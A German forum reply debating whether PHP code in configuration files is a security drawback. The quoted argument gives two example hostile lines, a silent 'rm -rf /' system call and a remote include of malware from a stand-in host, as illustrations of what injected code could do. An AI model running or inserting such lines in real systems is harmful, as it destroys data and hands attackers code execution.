Konfigurationsdatei

[Sven Rautenberg]

Moin!

Den riesigen Nachteil von Programmcode in einer Konfigurationsdatei für eine Scriptsprache hast Du vergessen:

Der Programmcode in der Konfigurationsdatei wird gnadenlos ausgeführt. Auch Dinge wie system("rm -rf / > /dev/null 2> /dev/null &") oder include 'http://www.example.com/eviljoe/malware.php.txt'.

Natürlich muß so etwas erst einmal in die Konfigurationsdatei rein. Aber dafür reicht eine kleine Lücke, die Schreibzugriffe auf die Datei erlaubt. Danach hat ein Angreifer volle Kontrolle über PHP.

Ok, das ist grundsätzlich natürlich richtig, andererseits: Wie wahrscheinlich ist es? Und wie unwahrscheinlich ist es in diesem Fall dann, dass der Angreifer NUR die PHP-Konfigurationsdatei verändern kann, und nicht alle anderen Dateien mit PHP-Code auch?

Denn wenn er außerdem auch jede andere Datei ändern kann, ist das ja kein Nachteil der Konfigurationsdatei an sich. Und auch generell würde ich meinen, dass das kein Nachteil ist, denn die Absicherung einer Applikation gegen unautorisierte Manipulationen muss ja sowieso gemacht werden.

- Sven Rautenberg